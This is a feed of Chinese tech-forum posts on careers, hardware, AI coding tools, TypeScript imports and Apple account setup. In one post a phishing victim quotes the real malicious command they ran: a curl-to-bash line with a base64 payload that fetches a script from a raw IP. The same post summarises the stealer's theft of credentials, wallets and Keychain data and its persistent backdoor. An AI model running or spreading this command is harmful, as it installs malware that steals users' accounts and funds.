Reading view

There are new articles available, click to refresh the page.

关于计算机在读的小舅子的就业问题

tooast:

问一问各位大佬,这两年应届生找程序员工作,应该如何准备?还是当年的算法+八股文吗?

他目前应该对就业没什么想法,家里人让考公,但是考公的难度我认为比找程序员工作更大,且收入少的多。身边太多考的事业编,单月收入三四千的,且分配的地域不满意的亲戚了,感觉还不如让他努力找个程序员工作,性价比更高


小舅子基础情况:北京的民办大学三本,26 年毕业,计算机科学与技术专业

[纯吐槽] 500 块接了个 AI 小项目,周末 vibecoding 连搞 2 天, cursor 额度烧没了也没搞出来

fushall:

cursor 用的 claude 4.5 sonnet thinking 模型,

每次写代码需要消耗 2 个 requests ,

我这个账号一共就有 500 个 requests ,全烧完了,也没把需求做出来。

需求其实很简单:一个 prompt ,同时调用多个模型,然后在页面返回多个模型的结果

后端也很简单(可能因为我是后端的原因),几个接口,一两张表,很快就弄完了。


主要就卡在前端了,AI 写的 HTML 页面,左一个交互 bug ,右一个样式不对,

每次修好了,让他再增加功能,旧的 bug 有可能会出现。(这是 claude 降智了?)

结果就是,搞了整整两天,还没弄好,cursor 额度也没了,

没吃好也没睡好,纯纯给 AI 工具打工


之前都用 claude code 和 v 友 拼车,结果库库 ban 号,现在也没得用了,

现在有什么好用的平替方案吗?

一个 github 开源的 issue 十多年没有解决,另一个新生的同类项目解决了,在 issue 里回复了一条消息被隐藏,大家如何看?

LonnyWong:

今天来说一说我开源曾遇到的一件小事。

一个著名的开源项目(十几 K 的 Star ),一个十多年未解决的 issue ,甚至很多人在 issue 里发布了悬赏。

一个新生的同类开源项目,支持那项目同样的核心功能,因底层实现不同,完美解决了那个 issue 遇到的问题。

我曾在那个 issue 里留言,说自己在另一个同类项目里解决了,然后就被隐藏了(没有被删除),大家怎么看?

电瓶车被偷,监控拍到人非常清晰,不过戴着口罩和头盔,警察劝我重新买一个车,我想不通,准备辞职去应聘辅警专门查偷电瓶车的,各位 v 友有被偷的吗

shubuqi:

应聘辅警是气话,我电动车有定位,在凌晨 12 点被偷的,车辆告警了早上我没有注意,以为是震动,然后下午三点报警电池没了,才发现被偷了,晚上报警,警察跟着定位找到了车,但是电池被挖走了,车子最后在两公里外的在建工地上。

偷车人戴着头盔和帽子,工地没有监控,但是附近有非常多的监控,旁边有学校和很多住宅,警察找到车就劝我自己重新买块电池,找到人希望渺茫。我有点气不过,准备 35 岁后辞职去应聘辅警,然后专门查偷电瓶车的。

为什么喜欢跑马拉松?

Leroy666: 全国到处都在举办马拉松赛事
那么多人参加甚至还要摇号报名
我老婆闺蜜的老公也是马拉松迷
全国各地飞来飞去参加马拉松赛事
据说最近还迷上了铁人三项
买了个自行车一骑就是几十几百公里

在我这种低能量人士看来,这些都是“自虐”式运动🥲
好奇运动的瘾就这么大吗?
为了运动后的那点内啡肽?

请内行或者专业人士解解惑。。。

预算有限,想入一台 MacBookPro 做开发, M1pro 2025 年还能再战几年?

stayma:

虽然说电子设备买新不买旧,但是无奈预算有限,只有 6-7K 。 于是考虑二手 M1 芯片,很多人说 CPU 够了,内存一定要大,于是我想的是 二手 M1PRO ,32G + 512 的,淘宝二手店铺在 6.8-7.2K 左右,咸鱼不敢怕被当猪仔,抖音直播间也差不多,但是总感觉抖音电商不靠谱,跟 pdd 差不多。

这款机子还能再战几年?

主要是做日常办公、再加上现在 ai code ,主要写 golang 和 python ,偶尔用用 php 。可能要同时打开十多个网页、cursor 等 AI 编辑器、Navicat 、wps 、微信、QQ 等等。

各位大佬有什么好的建议吗?

我也想买最新的,但是....

iPhone 还是可以信赖的,安全,保护隐私。。。

hefish:

https://www.thepaper.cn/newsDetail_forward_31807519

摘抄:

2022 年 3 月起,NSA 利用某国外品牌手机短信服务漏洞,秘密监控 10 余名国家授时中心工作人员,非法窃取手机通讯录、短信、相册、位置信息等数据。2023 年 4 月起,NSA 在“三角测量”行动曝光前,多次于北京时间凌晨,利用在某国外品牌手机中窃取的登录凭证入侵国家授时中心计算机,刺探内部网络建设情况。

记因 API 第一次挨同事骂

unbinilium:

背景:leader 最近接手了个嵌入式上的管理后台项目,架构比较古早 Static Web <-> Nginx <-> CGI (C, via Unix Socket) <-> Backend Application (C) <-> Modules 。同事抢了前端部分的工作,我分到了和储存系统相关的后端模块。评审完原型后就开工了,我写好自己模块前端部分 API 的草案后,请前端的同事先帮我 review 一下,结果被怒批了一顿。

从对方比较尖锐的评价里我大概总结出以下几点:

对方观点:

  1. 我不会做项目,完成任务优先级第一
  2. 我不是产品经理,不要替产品经理操心
  3. 我是学生思维,抓不到项目重点,写出来的东西不专业他看不懂(用不惯企微文档,加上有些术语想不到中文的名字, 草案就先用 md 写了英文的)
  4. 我协作不到位,我写这部分前端接口没提前通知他(事实上一起开会时我不仅说了,还把规划写在白板上了)

对方理由:

  1. 他也写了这部分 API ,比我的简单很多;我的命名不符合他的规范(这点在 review 前就提醒了,我的出发点是先确定数据结构上有没有分歧,之后命名样式一定会按照他的要求改好)
  2. 他自称写过很多爬虫,也写过前端(他本职做 AI 算法的,211 硕)
  3. 不能反映到前端原型的字段上就别加,不要自作聪明以为其他人没想到
  4. 一年前上司曾批评过我过度设计,效率低

事后也虚心看了下他写的 API ,这里仅以我的视角总结一下他的思路(因保密协议就不贴代码了):

  1. 前端页面下一个子组件对应到一个 endpoint ,不再分级,组件全部信息放在一个相同的 JSON schema 里就好
  2. 根据请求类型,后端自动去 request payload 里找需要的字段用或选择性更新 response body 里的部分字段
  3. 对于一个组件内部依赖其它组件信息或状态的情况,后端应该在这个组件的 API endpoint 里也提供
  4. 不假定某个地方需要扩展,不加冗余信息,产品有需求再改,总有办法能在现有接口上承载起新需求(顶多可能会让接口变得奇怪)

下面说一下这部分我的观点(个人职场新人,非 CS 专业,目前也就做做 embedded infra ,这方面可能不专业):

  1. 前端原型里部分组件 anti-pattern 的迹象很明显,一个模块里揉合状态信息、配置信息和控制指令,我倾向做 decomposition 拆到该 endpoint 的子路径里做(我很难接受前端把这种模式通过 API 扩散给后端)
  2. 跨组件的状态信息,前端这边去调用对应的其它 API 处理,我的组件接口只维护生命周期在我模块内的信息
  3. 在后端仅读 payload 的数据结构上做扩展冗余,及 response 里加一些未来可能用上的信息,不会对前端解析处理增加太多负担(私有 C/S 场景也不必拮据带宽成本)
  4. 我的模块 leader 限制 C/C++/Rust 实现,一致性和 forward compatibility 比提前出第一阶段 demo 重要,未来有新需求需要调整数据结构或者实现时,改起来熵太高(后端规模远大于前端 / 前端 JS 解 JSON )

其它的一些想法:

  1. 在设计和评审产品原型时,从时间和交互维度审视十分重要(这次其实原型就有问题)
  2. 产品经理几乎完全决定了一个产品的命运,很多时候向前端开发推进,需要先让产品经理认识到这个设计有问题(直接告诉前端要多点工作量可能挨骂)
  3. 理想主义在职场很难行得通,某种程度上我发展得的比我同事差(比较看 leader 和项目的 context 就是了,这点确实我做得不好)
  4. 即使我的主张合理,说服了大家做对的事情往往得不到任何好处,分外的事情,让市场和用户差评教产品做事就够了(自由市场也可能首先打我的脸)
  5. 和人交好很难,这件事看出同事应该是对我有不少意见,但是自己实在想不到哪里得罪了人家(感觉很多时候我已经比较注意了,比如有些会影响到大局的细节问题在评审时我想提一下,但觉得在那么多人的会上说可能不合适,毕竟我不是产品也不是设计,leader 也没开口,也是后面单独找产品旁敲侧击让他意识到有问题)

也想听听大家的建议(比如技术方面或为人处事方面)

嗯,再补充一些细节吧:

  1. 产品经理能 vibe coding 把原型网页做出来(虽然很粗糙),我模块的原型有问题要改结果一个星期还没改好,于是定接口时同事拿有问题的原型跟我对峙(产品想学习我理解,不过既然项目赶时间,老老实实上个 Figma 或者什么的不好吗)
    1. 原型里显示一个可能包含几十万个文件的文件夹没有分页,不加排序、过滤和搜索的情况下,期望用户能一下子找到自己想要的文件
    2. 原型过于简化,将操作/状态隐含在数据对象内,比如用户想临时关闭日程功能,做法是把之前辛辛苦苦写好的日程都删掉
  2. 同事写的 API 规范中,很多字段应该是谷歌翻译的(概念不合适且有不少拼写错误),以及他开始打算 HTTP 明文传输密码,后面其他人说不安全换成了传密码的 sha256 (不加 salt 和开始有什么区别...)

(应该还有不少,就不浪费社会资源吐槽了)

看到讨论 Linux 桌面的帖子,想问问现在跑 Linux 的笔记本有哪些推荐

AFOX:

需要满足以下要求:

  1. 续航媲美 M 系列 macbook
  2. 屏幕媲美 macbook
  3. 预算 3w 以内

以上,我尝试过许多 Windows 笔记本(联想的 ThinkPad ,惠普的战系列),重装系统到 Linux ,大多会出现续航下降,屏幕也是很难追得上 MacOS 。

说实话,我也觉得 Linux 拿来作为开发比 MacOS 好用。但是找不到合适的设备。

目前使用的是 M3Max MBP 16

据说宜人性与收入是负相关的,能力与收入的相关性应该是比较大的,宜人性与友善基本是一样的,所以在强制友善的社区是否很难提高能力?

shendaowu: 我是有说话有理有据的动力的,奈何能力不够,搜出来的论文里的图表我基本都看不懂,基本没有那种相关系数的表。所以我只用 AI 问了一下,知乎搜了一下,了解到的情况是负相关。有没有感兴趣有能力的大佬能去看论文研究一下?

联系到前几天可能在本站看到的一个东西,就是不友善的同时是有用相比存粹的的攻击他人是有区别的。所以有没有全都要的方法?就是既能提高能力,又能不太难受?我这个人之前还是比较喜欢友善的环境的,但是我也因为一些不友善的人有过一些提升,再加上我最近社恐大大缓解,所以现在我感觉相对于友善,我倾向于提高能力。

我感觉也许可以让人给自己设置一个标签,然后显示在自己的 ID 后面。我能想到三个:接受任何形式不友善行为、只接受有用的不友善行为、不接受任何形式的不友善行为。中间那个好像比较难判断一些中间情况,我觉得只管一些特别明显的比较好。然而好像某些人看别人吵也会不舒服,进而导致离开。不知道这些人值不值得放弃。也许也可以全都要?给帖子加一个不友善打分的功能就行了?如果标题就不友善的话把标题也隐藏了,悬停一段时间显示那种。

下载 Mac 软件执行了一个钓鱼脚本怎么办?怎么避免自己的账户和财产受损?

neetz:

趁周末没事折腾了一下自己的 Mac ,下了一堆乱七八糟的软件

刚刚有个网站给了我一个命令,要在终端执行。命令是 /bin/bash -c "$(curl -fsSL shoter.org/c/maxx2)"

感觉是熬夜脑子不清醒了,我真就傻乎乎输入密码执行了脚本,听到 mac 一阵叮叮钉钉的提示音才感觉不对劲

看了一下这个命令实际执行的是 echo "Y3VybCAtcyBodHRwOi8vMTg1LjkzLjg5LjYyL2QvYm9zczU0MjM1IHwgbm9odXAgYmFzaCAm" | base64 -d | bash 会对应执行 http://185.93.89.62/d/boss54235 这上面的脚本

看到这个命令的时候,脑子都凉了,把脚本喂给 Gemini 告诉我说会去执行以下命令

  1. 窃取密码 🔑 它会弹出一个伪造的系统对话框,谎称“需要安装应用助手”,诱骗你输入电脑的开机密码。如果你不输入正确的密码,这个对话框会一直骚扰你。

  2. 窃取加密货币钱包 💰 (主要目标) 浏览器钱包: 它有一个庞大的列表,专门扫描并窃取数十种加密货币钱包浏览器插件的数据,例如 MetaMask 、Phantom 、Trust Wallet 等。

桌面钱包: 它还会扫描并窃取你电脑上安装的桌面钱包程序数据,例如 Exodus, Atomic, Ledger Live, Coinomi, Electrum 等。

  1. 窃取各类浏览器数据 🌐 它会攻击市面上几乎所有的主流浏览器( Chrome, Safari, Firefox, Edge, Brave, Opera 等)。

窃取内容包括:保存的登录名和密码、Cookies (可以用来登录你的账户)、历史记录、信用卡信息等。

  1. 窃取个人敏感文件 📄 钥匙串 (Keychain): 复制你整个系统钥匙串文件,里面可能包含你的 Wi-Fi 密码、应用密码等。

备忘录 (Notes): 提取你“备忘录”应用里的所有文字内容。

本地文件: 扫描你的“桌面”和“文稿”文件夹,专门寻找 .pdf, .docx, .txt, .wallet, .key 等敏感文件并进行复制。

  1. 打包上传,发送给黑客 📤 它会将以上窃取到的所有信息打包成一个 .zip 压缩文件。

然后将这个文件上传到黑客的服务器( IP 地址为 185.93.89.62 ,和你之前那个脚本是同一个地址)。

  1. 植入后门并替换正常程序 🚪 持久化后门: 它会用你输入的密码,在系统里创建一个启动守护进程 (LaunchDaemon)。这意味着即时你重启电脑,这个恶意软件也会自动运行,让黑客可以持续控制你的电脑。

程序木马化: 它会尝试用一个从黑客服务器下载的恶意版本来替换你电脑上正版的 Ledger Live 加密钱包应用。

这个是不是只能重装系统了?我还要做什么来保护自己的账户吗

8 年租房生活,以跟房东大吵一架结束

pulutom40:

8 年前一个人来北京,刚开始租了一个自如的次卧,只有一张床大小,放个行李箱都很挤,2300 一个月

后来工资稳定了,在自如换了一个主卧,3900 一个月

再后来自如爆出甲醛房事件,买了张试纸一测,他大爷的试纸都到黄色了,于是在链家租了一个看起来不怎么新的开间 5800 一个月

再后来有孩子,开间住不下了,换成了一个两居室,6300 一个月

刚刚简单算了下这些年在房租上的花销,三十九万五千多还不算乱七八糟的中介费,服务费,商电商水等等

今天是这个房子最后一天,叫了房东收房,这里折旧了,那里不干净了,这个灯不亮了,跟房东大吵一架,最终以扣了 200 押金结束,这辈子没这么气愤过,太他妈憋屈了,可押金在别人手上,又能如何呢。

这些年,吹着冬天不热夏天不冷的空调,用着洗不干净衣服的洗衣机,动不动就堵的厕所,反味比下水道还臭的地漏,还有腰酸背痛的床垫……还有每年出乎意 料的涨房租,猝不及防的房东卖房……

这一切,在今天终于结束了,明晚我就能住到自己家去了,虽然离公司远了点,但这踏马才是生活。所有家具都可以买自己喜欢的,所有电器都可以挑最好的,这么多年的租房让我深刻意识到,租房踏马只是这个城市的干电池,在公司当牛马,给房东打工。

今年 iPhone17PM 带实体 SIM 的电池相遇对纯 eSIM 机型少了 265mAh,实际使用感受差距大不大。

HAYABUSA: 如题,因为这 265mAh 的电池差距,有点纠结。
如果没有这电池的差距,我会毫不犹豫选择港版 iPhone17PM 。
我现在大概有三个方案。

1 ,选择港版,但是得接受电池少 265mAh ,好处是能直接用国内实体 SIM 卡。
2 ,选择日版/美版,然后买移动 Wi-Fi 插国内 SIM 卡,享受国内流量,电话和短信就使用旧 iPhone ,平时带俩手机出门
3 ,选择日版/美版,开通国外 eSIM 流量套餐(比如红茶的 5 折 100G/365 天,大概 25 美元)+国外 eSIM 保号卡。

本身日版/美版在价格上也比港版便宜一些,电池也没被阉割。

寄希望于过段时间(也可能是过几年)国内 eSIM 政策改变,变成能给非国行 iPhone 开通国内 eSIM 卡。
也有可能这希望渺茫。

这 265mAh 的实际使用差距到底是多大。我都没找到有 国行 PM vs 美版 PM/日版 PM 续航的对比视频。

工作遇到点糟心事儿

yongyuanfan2:

前提:我是公司前端开发,这半年时间根据公司的需求开发了一个 3D 产品。老板和我们团队不在一个城市。

  1. 老板对我们开发的 3D 产品外观设计不满意,现在老板绕过我们直属领导,亲自来领导团队重新开发,但是老板是销售出身,没有任何做产品的经验。现在只给了我们 10 天的时间,我们反馈时间来不及,然后他就要求我们 997 。

  2. 昨天老板找了一个临时外聘的设计师拉着我们开了一天的需求会议。那个设计师简单的看了看我们的产品,就开始提出他的修改建议。开了 8 个小时的会议,罗列了一大堆需要修改的点。

  3. 会议期间,这个设计师和老板助理一起要求我对新的产品需求画原型稿。我就反驳说我是前端开发,画原型稿不应该是我们这边的责任,而且我也不是对新需求最了解的人,我觉得应该由对新需求最熟悉的人,或者提出需求的人来画,但是他们一直强调我对原来的产品最熟悉,所以就一定要我来画原型稿,可是我也没有这种画图的经验啊。

  4. 公司老板和我们领导好像闹矛盾了,我们领导对我们还不错的,看待问题也比较专业,客观。导致我对老板的印象越来越不好,所以对这次重构产品抱有抵触心理。

  5. 现在原型稿要我画,3D 模型修改了我要负责接入,接口更新了我要负责接入,设计修改了我也要负责实现。我感觉我根本在这点时间里面干不了这么多事。

总结一下就是:我现在好难受,但是又要养家糊口,所以不得不干!

你们这些果黑啊都没发现重点,我来分享一次给女儿设置家庭账号的惨痛经历

revlis7:

最近给女儿买了个 iPad ,想给她看看英语动画片磨磨耳朵。我看着自己 iPhone 里有个家长控制,想着哎这个挺好,可以控制她使用时间,可没想到啊没想到,这一趟让我真正领教了什么叫做坑爹! OK ,让我们现在开始!

首先,添加儿童账号需要注册一个新的 Apple Id ,那当然要新的邮箱或者手机号咯,那现在注册个邮箱也挺麻烦的,而且国内邮箱安全性也难保证,就想用我自己 gmail 的别名账号吧。结果提示:邮箱已存在。看来应该是苹果不允许使用别名账号,行,手边也正好有一个不用的手机号,那就用手机号吧,注意,这个也是苹果默认的注册方式,看来国内一切还是手机号方便。以为就这么完了,没想到就是这关键一步,让我掉进了一个又一个的坑里!

友情提示:注册儿童账号时一定要选择邮箱账号!!!如果你不想注册国内的邮箱,可以选择“没有邮件地址并获取新的 iCloud 电子邮件地址“。但是!这步以后会不会有其他的坑,那我就不知道了,因为我走的是一条更崎岖的道路!只能怪我在这步眼瞎没看到,之后的事且听我慢慢说来……

紧接着一顿操作完了,打开家长控制一看,唉?怎么没有同步信息?这就难受了呀。小红书上一搜,大把的都是这个问题,都说要添加邮箱账号才行,难道手机号 Apple Id 它不是 Apple Id 吗?看来还是绕不过注册个新邮箱,那就注册吧。好不容易搞定个新邮箱,又要多记一个密码,绑定成功,咦?怎么还是没有同步信息?再一搜,说必须 iCloud 邮箱。可是我愣是没找到如何直接注册一个 iCloud 邮箱后缀的 Apple Id 的方法(还是怪我前面眼瞎!)。又有说需要设置邮箱为主账号,那就从手机号切换到邮箱账号咯,结果到了验证 Apple Id 这步的时候,反反复复提示:登录 iCloud 失效。那怎么办?解绑邮箱从头再来!

又是一顿操作,咦?怎么手机端注册的密码,在 Apple 网页端注册的时候不能用了?手机端纯数字加英文的组合,到了网页端必须要一位特殊字符……行吧,那我再多记个密码吧。密码改完,填写生日,又又出来个提示:你无法创建 Apple 账户,因为你尚未达到最低年龄要求,请家长或监护人设置“家人共享”。合着还不让我直接注册了?再搜!说可以改生日,OK ,填了一个大于 18 岁的出生年,注册成功!添加家庭组成员,成功!显示多了一个成人家庭成员,开始修改生日……嗯?居然不是立刻生效?还需要家长确认?且只能通过邮件确认?行吧,不就是确认嘛,打开邮箱,我确认……我确认了半天,发觉这个确认链接是无效的!不知道是不是 hotmail 和苹果邮件八字不合,我看了下邮件源码,确认链接里的斜杠全被替换成了其他乱七八糟的字符!还好我会武功,找出链接改一下,终于能打开了,到了这步,又要确认!需要确认家长账号下的支付方式信息!?

如果说子女修改生日需要家长确认我还能理解,为啥家长同意还需要确认支付信息?!不管这么多了!翻出自己的信用卡,输入安全码……错误!我使劲看了看我的信用卡,有效期……没错,安全码……没错,那到底是他妈什么地方错了?你每个月钱不都扣着吗?!是不是信息不同步了?那我再更新一次银行卡信息行不行?好嘛,填完信用卡号安全码,又要银行短信确认,我已经记不清确认了多少步了,但是这一步绝对是我最绝望的一步:

短信验证码错误!

我打出娘胎以来,确认过无数短信,只遇到过收不到确认码,但还从来没遇到过确认短信确认不了的!虽然每一次输验证码都隐约觉得会不会验证不了,可这件事终究是从来都没发生过。可就在今天!终于在这给我遇到了!码,是银联发的,错,是苹果报的,我不知道这个锅该给谁。总之我试了无数次,直到手机号再也无法收到验证码……但是好在天无绝人之路,我想到了我还可以绑支付宝啊,终于在输入支付宝确认码的那一刻,我女儿终于变回了 4 岁!

到了这步,我终于可以在家长账号里看到设置女儿 iPad 的屏幕时间了!你以为完了吗? NO !别忘了还有一个手机注册的儿童账号挂在家庭组里呢!作为强迫症患者,你不得把它给踢掉?打开家庭组成员,提示:提示未成年账号只能转移家庭,若要迁出,需等该组成员成年!

苹果我告诉你,我等不及了我!换个姿势再来一次,改生日,又是那个无法确认的确认邮件,又是那个莫名其妙的链接,好在这次支付宝没有为难我,到此大功告成!!!

我看过那么多果黑,我觉得他们都没有说到重点,也从来没真正说服过我。但如果下次再有人问,我想说,让他试试苹果网页服务,还有家庭成员和家长控制,也许那个打不开的链接,大概是 hotmail 邮箱的问题吧……也许那个确认不了的验证码,是银联的锅吧……但是请问,为什么手机号注册的 Apple Id ,它就共享不了家庭屏幕时间呢?为什么确认它确认个生日信息,还需要验证支付方式呢?为什么那个 iCloud ,它就始终验证不了呢?如果有家长搜到这篇文章,但愿它能帮你少走些弯路,也算是我熬夜折腾到现在积了德了好吧……

拿了个深圳两年前端降薪 offer,南山 7k ,接吗

zhengfan2016:

背景:几个人的创业团队,产品没发布,盈利能力未知,之前用的学生,它们想找个全职前端,做 ai 绘图模型的出海细分应用,ai 插画实物书,还有个 uniapp 商城一起维护,没有明说不加班,说辞模糊
没设计,没产品,前后端比值大概 1:4 ,
工资组成:基础(目测最低)+绩效,其他没有

个人感觉:感觉它们自研模型很难和 qwen-image 等这些模型拉开很大的差距,如果真的做成了其他公司过来复制赛道的难度不会特别高

不知道 v2 各位觉得意下如何哈哈

2025 年 node 项目,乱成一锅粥的 typescript ESM import 写法该怎么选?

BeautifulSoap:

假设在 ./utils/calcute.ts 中有一个工具函数 add()

export function add(a: number, b: number): number {
  return a + b;
}

然后我们在 main.ts 中需要使用这个 add 函数

写法 1, import 不带扩展名:

tsconfig 配置 module=esnext ,然后假设有如下 main.ts 文件

import { add } from "./utils/calcute";

add(1,2)

使用 tsc 编译后使用 node 运行编译后的 js 文件会报错


node ./dist/main.js

... 省略

  code: 'ERR_UNSUPPORTED_DIR_IMPORT',
  url: 'file:///home/xxxxxx/dist/utils/calcute'
 

原因是现在的 node 处理 esm 的 import 需要指定具体文件名(即类似 import ./utils/calcute.js )。不写扩展名的 import 会报错

而 typescript 编译代码对 import 内 from "xxxx" 的部分是不会做任何处理直接保留的。按照 ts 官方的意思就是这部分是模块解析,不应该是 typescript 的工作而应交给 js 运行时(如 node 、浏览器)自己处理,所以 tsc 编译 ts 文件是会完整保留这部分不做任何变动的

基于这种方针,于是就有了两种解法

  1. 放弃 tsc 编译使用 bundle
  2. 下面的写法 2

写法 2:import .js

tsconfig 配置 module=nodenext 和 moduleResolution=nodenext ,然后 main.ts 内容如下

import { add } from "./utils/calcute.js"; // 需要添加 .js 扩展名

add(1,2)

说真的,当年我接触到这种写法的时候是大受震撼的。 在 ts 文件中写 import .js 实在过于丑陋了。我不解、我不适应、我无法接受

但这样的代码经过 tsc 编译后就能正常被 node 执行了,我也只能捏着鼻子用了

本来以为 esm 的问题也就这样了,但没想到到了 2025 年就乱套了

写法 3: import .ts

因为 bun, deno 的竞争,不思进取的 node 终于开始迭代起功能了。甚至还破天荒地添加了直接执行 typescript 代码的功能(运行的时候直接丢弃类型信息把 ts 当 js 跑)

这个功能现在在在新 node 中已经默认开启可用了,并且 typescript 也为了这个功能添加多个更新。所以可以预见今后用 node 直接执行 ts 会多起来

然后,这个功能在 esm 上就不出意外得出意外了。还是上面的代码 main.ts 内容如下:

import { add } from "./utils/calcute.js"; // 需要添加 .js 扩展名

add(1,2)

使用 node main.ts 执行后直接报错


node main.ts

... 省略

  code: 'ERR_MODULE_NOT_FOUND',
  url: 'file:///home/xxxxxxxx/utils/calcute.js'

嗯,因为模块的代码位于文件 utils/calcute.ts 中,而 import 语句中写的是 ./utils/calcute.js,所以 node 理所当然的找不到对应的模块文件报错了

所以为了解决这个问题,tsconfig 后来添加了一个选项 allowImportingTsExtensions ,开启后在 main.ts 中需要将 import 改写成 import .ts 的形式

import { add } from "./utils/calcute.ts"; // 需要 import .ts ,而不是.js

add(1,2)

嗯,当年 typescript 的回旋镖就这么砸了回来,现在我们又必须在 ts 文件中写 import .ts 了。并且为了兼容这种写法 typesript 现在还不得不添加新的编译选项 allowImportingTsExtensions 来允许在 ts 文件中 import .ts

但是,这有个问题,启用这个选项必须也启用 noEmit ,也就是说在 typescript 官方那的说法是:我们没有被打脸啊,我们依旧不处理 import 的内容,你想 import .ts 可以,但是你这样写了的话就别用我们的 tsc 来把这种代码编译成 js 了

但问题是实际上开发中,使用 node 直接执行 ts 文件测试,然后在生产环境中使用 tsc 或其他工具编译成 js 运行会很常见

于是如果你想直接 node 执行 ts 代码,那就得放弃将使用 tsc 将代码编译为 js

所以大家怎么选

目前这 esm import 写法已经乱成这样了,大家平时会怎么选?

公司给研发从 i5 台式机换到 Mac mini 但内存配置让我有点无语 / 你们配的是什么电脑?

NowTime:

我司早期给研发配的是 Windows 台式机:CPU (是几年前入职时的那一代)、16GB 内存、512GB SSD 。 算是能用,但多开几个项目或者跑 Docker 就开始喘。好在内存可以申请升级,我升到 24GB 后才算稳定一点。

后来陆续看到领导、产品等都换成了 MacBook (具体配置不详)。

过了很久一段时间,我们这些底层🐮🐎研发也终于轮到更新设备 —— Mac mini M4 16GB 内存

结果实际体验: 日常使用没问题,但多开几个 IDE 、再跑 Docker 和十几个标签页后, 系统就开始有点吃紧,响应明显变慢,偶尔会操作卡顿(不确定是否为系统 BUG )。 一看监控,Swap 已经跑到 11GB+ 😅

更离谱的是,客服那边配的是 MacBook Air M3 16GB 内存,比我们这台 Mac mini 至少贵两千多。

明明同一批更新,为什么不给研发多点内存预算呢 🤷


💬 想问问大家:

  • 你们公司给程序员/研发配的是什么样的电脑?
  • 是“能跑就行”型,还是“真把研发当生产力”那种?

忘了今年是 5G 出来的第几年了,用 5G 的时间应该加起来不到一个月

movq:

双持安卓苹果,都支持 5G ,但是一打开之后耗电明显增加,安卓大电池都耗不住。

有人说这是因为太偏僻了,基站少,但是我坐标上海内环,上班的时候安卓开 5G 可以正常上网,苹果开 5G 之后就时不时不能上网,索性直接把安卓和苹果的 5G 全都关了

那么把 5G 关掉之后有什么体验下降呢?完全没有,反而耗电量减少,信号稳定,纯纯体验提升了一个档次

炒币日记 1018 - 抄底川普币!

tthem:

昨天下午看到有 v 友在帖子回复里聊到川普币,研究了一下。 川普币从最高 $80 一个跌到了只有$5, 跌去了将近 95% 。 作为 meme 代币的龙头(和 doge 相对,差不多是龙头吧),我觉得归零的概率不大,目前这个点位是有投资价值的,抄底问题不大。 除了每个月会解锁一部分锁仓的代币以外,其他的风险就在于特朗普本人的操作了,小仓位入 20 倍全仓做多了。不设置止盈,看向$10 。

❌